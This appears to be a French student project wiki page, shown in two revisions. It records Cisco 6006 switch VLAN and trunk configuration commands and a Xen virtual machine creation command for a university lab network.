<p>Rruet : /* Configuration du 6006 */</p> <hr /> <div>==Cahier des charges==<br /> <br /> Mise en réseau des commutateurs 6006 en E304<br /> <br /> ==Avancement du travail==<br /> <br /> ===Configuration du 6006===<br /> <br /> -Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10 <br /> <br /> -Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11<br /> <br /> -Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.<br /> <br /> La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#vlan database<br /> 3 Switch-E304(vlan)#vlan x name nameX<br /> 4 Switch-E304(vlan)#exit<br /> <br /> La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface GigabitEthernet 4/x<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport access vlan x<br /> 6 Switch-E304(config-if)#no shutdown<br /> 7 Switch-E304(config-if)#end<br /> 8 Switch-E304#write memory (enregistrer la configuration)<br /> <br /> Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :<br /> <br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> <br /> ===Installation de xen===<br /> <br /> xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie <br /> --dir=/usr/local/xen --gateway=193.48.57.172</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Cahier_2016_groupe_n%C2%B07&diff=34418 2016-10-13T09:33:53Z

<p>Rruet : </p> <hr /> <div>==Cahier des charges==<br /> <br /> Mise en réseau des commutateurs 6006 en E304<br /> <br /> ==Avancement du travail==<br /> <br /> ===Configuration du 6006===<br /> <br /> -Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10 <br /> <br /> -Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11<br /> <br /> -Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.<br /> <br /> ===Installation de xen===<br /> <br /> xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie <br /> --dir=/usr/local/xen --gateway=193.48.57.172</div>

Rruet